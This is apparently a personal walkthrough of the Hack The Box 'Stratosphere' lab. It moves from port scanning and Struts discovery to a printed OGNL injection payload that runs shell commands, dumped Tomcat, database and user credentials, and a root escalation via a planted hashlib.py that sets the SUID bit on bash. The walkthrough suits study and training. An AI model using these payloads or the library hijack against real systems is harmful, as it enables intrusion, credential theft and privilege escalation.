

# Information Gathering

## 1) Found open ports


```
vigneswar@VigneswarPC: ~  
(vigneswar@VigneswarPC)-[~]  
$ tcpscan 10.10.10.64  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 15:13 IST  
Nmap scan report for 10.10.10.64  
Host is up (0.33s latency).  
Not shown: 65532 filtered tcp ports (no-response)  
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit  
PORT      STATE SERVICE      VERSION  
22/tcp    open  ssh          OpenSSH 7.9p1 Debian 10+deb10u3 (protocol 2.0)  
|_ ssh-hostkey:  
|_ 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)  
|_ 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)  
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)  
80/tcp    open  http  
|_ _http-title: Stratosphere  
|_ fingerprint-strings:  
|_   GetRequest:  
|_     HTTP/1.1 200  
|_     Accept-Ranges: bytes  
|_     ETag: W/"1708-1519762495651"  
|_     Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT  
|_     Content-Type: text/html  
|_     Content-Length: 1708  
|_     Date: Wed, 04 Sep 2024 09:46:33 GMT  
|_     Connection: close  
|_     <!DOCTYPE html>  
|_     <html>  
|_     <head>  
|_     <meta charset="utf-8"/>  
|_     <title>Stratosphere</title>  
|_     <link rel="stylesheet" type="text/css" href="main.css">  
|_     </head>  
|_     <body>
```

```

8080/tcp open  http-proxy
|_http-open-proxy: Proxy might be redirecting requests
|_fingerprint-strings:
|_  GetRequest:
|_    HTTP/1.1 200
|_    Accept-Ranges: bytes
|_    ETag: W/"1708-1519762495651"
|_    Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
|_    Content-Type: text/html
|_    Content-Length: 1708
|_    Date: Wed, 04 Sep 2024 09:46:33 GMT
|_    Connection: close
|_    <!DOCTYPE html>
|_    <html>
|_    <head>
|_    <meta charset="utf-8"/>
|_    <title>Stratosphere</title>
|_    <link rel="stylesheet" type="text/css" href="main.css">
|_    </head>
|_    <body>
|_    <div id="background"></div>
|_    <header id="main-header" class="hidden">
|_    <div class="container">
|_    <div class="content-wrap">
|_    <p><i class="fa fa-diamond"></i></p>
|_    <nav>
|_    class="btn" href="GettingStarted.html">Get started</a>
|_    </nav>
|_    </div>
|_    </div>
|_    </header>
|_    <section id="greeting">
|_    <div class="container">


```

2) Checked the website







3) Found some pages



4) The website uses tomcat



5) Found a webapp



6) It uses struts

## Explanation of ".action" extention significance in Struts2 URL

Asked 11 years, 1 month ago   Modified 10 years, 5 months ago   Viewed 849 times



1



This might be a useless or lame question but please explain me this.

In struts2 when we assign an action to a form button and click on that button, that action is called. Now, when the result of the action file is displayed, the URL in browser shows

```
localhost:8080/HelloWorld/ClassName.action
```

Sometimes by default `.action` part doesn't show. But both works the same.

I am required to explain to someone what is significance of this `.action`. Why is that extension shown in URL and is there some specific thing which enables and disables the `.action` in Struts2 URL?

`java` `url` `jakarta-ee` `struts2` `struts-action`

# Apache Struts

Software ⋮



Apache Struts 2 is an open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller architecture. [Wikipedia](#)

**Initial release:** October 10, 2006; 17 years ago

**Developer(s):** Apache Software Foundation

**License:** [Apache License 2.0](#)

**Platform:** Cross-platform (JVM)

## ***Vulnerability***

1) Searched for vulnerabilities on struts

```
(vigneswar@VigneswarPC)-[~/temp]
$ searchsploit struts
```

Exploit Title	Path
Apache Struts - 'ParametersInterceptor' Remote Code Execution (Metasploit)	multiple/remote/24874.rb
Apache Struts - ClassLoader Manipulation Remote Code Execution (Metasploit)	multiple/remote/23142.rb
Apache Struts - Developer Mode OGNL Execution (Metasploit)	java/remote/31434.rb
Apache Struts - Dynamic Method Invocation Remote Code Execution (Metasploit)	linux/remote/39756.rb
Apache Struts - includeParams Remote Code Execution (Metasploit)	multiple/remote/25980.rb
Apache Struts - Multiple Persistent Cross-Site Scripting Vulnerabilities	multiple/webapps/18452.txt
Apache Struts - OGNL Expression Injection	multiple/remote/38549.txt
Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution	multiple/remote/43382.py
Apache Struts - REST Plugin With Dynamic Method Invocation Remote Code Execution (Metasploit)	multiple/remote/39919.rb
Apache Struts 1.2.7 - Error Response Cross-Site Scripting	multiple/remote/26542.txt
Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution	java/webapps/48917.py
Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution (Metasploit)	multiple/remote/27135.rb
Apache Struts 2 - Namespace Redirect OGNL Injection (Metasploit)	multiple/remote/45367.rb
Apache Struts 2 - Skill Name Remote Code Execution	multiple/remote/37647.txt
Apache Struts 2 - Struts 1 Plugin Showcase OGNL Code Execution (Metasploit)	multiple/remote/44643.rb
Apache Struts 2 < 2.3.1 - Multiple Vulnerabilities	multiple/webapps/18329.txt
Apache Struts 2.0 - 'XSLTResult.java' Arbitrary File Upload	java/webapps/37009.xml
Apache Struts 2.0.0 < 2.2.1.1 - XWork 's:submit' HTML Tag Cross-Site Scripting	multiple/remote/35735.txt
Apache Struts 2.0.1 < 2.3.33 / 2.5 < 2.5.10 - Arbitrary Code Execution	multiple/remote/44556.py
Apache Struts 2.0.9/2.1.8 - Session Tampering Security Bypass	multiple/remote/36426.txt
Apache Struts 2.2.1.1 - Remote Command Execution (Metasploit)	multiple/remote/18984.rb
Apache Struts 2.2.3 - Multiple Open Redirections	multiple/remote/38666.txt
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1)	linux/remote/45260.py
Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)	multiple/remote/45262.py
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - 'Jakarta' Multipart Parser OGNL Injection (Metasploit)	multiple/remote/41614.rb
Apache Struts 2.3.5 < 2.3.31 / 2.5 < 2.5.10 - Remote Code Execution	linux/webapps/41570.py
Apache Struts 2.3.x Showcase - Remote Code Execution	multiple/webapps/42324.py
Apache Struts 2.5 < 2.5.12 - REST Plugin XStream Remote Code Execution	linux/remote/42627.py
Apache Struts 2.5.20 - Double OGNL evaluation	multiple/remote/49068.py
Apache Struts < 1.3.10 / < 2.3.16.2 - ClassLoader Manipulation Remote Code Execution (Metasploit)	multiple/remote/41690.rb
Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)	multiple/remote/17691.rb
Apache Struts2 2.0.0 < 2.3.15 - Prefixed Parameters OGNL Injection	multiple/webapps/44583.txt
Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities	multiple/remote/32565.txt
Struts2/XWork < 2.2.0 - Remote Command Execution	multiple/remote/14360.txt

Shellcodes: No Results

## 2) Found tomcat credentials



```

Version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this a
pp,
you must define such a user - the username and password are arbitrary. It
is
strongly recommended that you do NOT use one of the users in the commented
out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with th
e
examples web application. They are wrapped in a comment and thus are ignor
ed
when reading this file. If you wish to configure these users for use with
the
examples web application, do not forget to remove the <!-- ..> that surrou
nds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="teampwner" password="cd@6sY{f^+kZV8J!+o*t|<fpNy]F_(Y$" roles
="manager-gui,admin-gui" />
</tomcat-users>

```

```

(vigneswar@VigneswarPC)-[~/temp]
$ proxychains -q python2.7 exploit.py http://10.10.10.64/Monitoring/example/Menu.action 'ls conf'

```

teampwner:cd@6sY{f^+kZV8J!+o\*t|<fpNy]F\_(Y\$

### 3) Found db credentials

```

Object request.TEXT aka This is what you are looking for...
[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin

(vigneswar@VigneswarPC)-[~/temp] Submit the flag located in the richard user's home directory.
$ proxychains -q python2.7 exploit.py http://10.10.10.64/Monitoring/example/Menu.action 'cat db_connect'

```

### 4) Found credentials of user

```
Object headers
{'Content-Type': '%{(#_='multipart/form-data')}'.(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='mysql -u admin -padmin -e "select * from accounts; users\').(#iswin=(@java.lang.System.getProperty('os.name')).toLowerCase().contains('\win\'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','/c\'},#cmd))}.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=@org.apache.struts2.ServletActionContext.getResponse()).getOutputStream()).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}', 'User-Agent': 'Mozilla/5.0'}

Object request.TEXT aka This is what you are looking for...
fullName      password      username
Richard F. Smith      9tc*rhKuG5TyXvUJOre^5CK7k      richard

(vigneswar@VigneswarPC)-[~/temp]
$ proxychains -q python2.7 exploit.py http://10.10.10.64/Monitoring/example/Menu.action 'mysql -u admin -p'admin' -e "select * from accounts;" users'
```

9tc\*rhKuG5TyXvUJOre^5CK7k

## Exploitation

1) Connected with ssh

```
(vigneswar@VigneswarPC)-[~/temp]
$ ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ED25519 key fingerprint is SHA256:M0iueOref5GIXJLH7IEi0XWv+HJ/bQJRx63Plk2hlHE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.64' (ED25519) to the list of known hosts.
richard@10.10.10.64's password:
Linux stratosphere 4.19.0-25-amd64 #1 SMP Debian 4.19.289-2 (2023-08-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec  3 12:20:42 2023 from 10.10.10.2
richard@stratosphere:~$ |
```

## Privilege Escalation

1) Found sudo permissions

```
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
    (ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
richard@stratosphere:~$ |
```



```
richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    md5.update(q1.encode())
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
        return
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855fff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    sha1.update(q2.encode())
    if not sha1.hexdigest() == 'd24f6fb449855fff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
        return
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 = hashlib.new('md4')
    md4.update(q3.encode())
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
        return
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebec84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake = hashlib.new('BLAKE2b512')
    blake.update(q4.encode())
    if not blake.hexdigest() == '9efebec84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")
        return
    import os
    os.system('/root/success.py')
    return
```

## 2) Hijacked the hashlib library

```
richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
keybboo!
Traceback (most recent call last):
  File "/home/richard/test.py", line 38, in <module>
    question()
  File "/home/richard/test.py", line 7, in question
    md5 = hashlib.md5()
AttributeError: module 'hashlib' has no attribute 'md5'
richard@stratosphere:~$ cat hashlib.py
import os
os.system("chmod +s /bin/bash")
richard@stratosphere:~$ ls /bin/bash
/bin/bash
richard@stratosphere:~$ /bin/bash -p
bash-5.0# cat /root/root.txt
f56b8ac22f9a2b49a412f7bfe7a5694d
bash-5.0#
```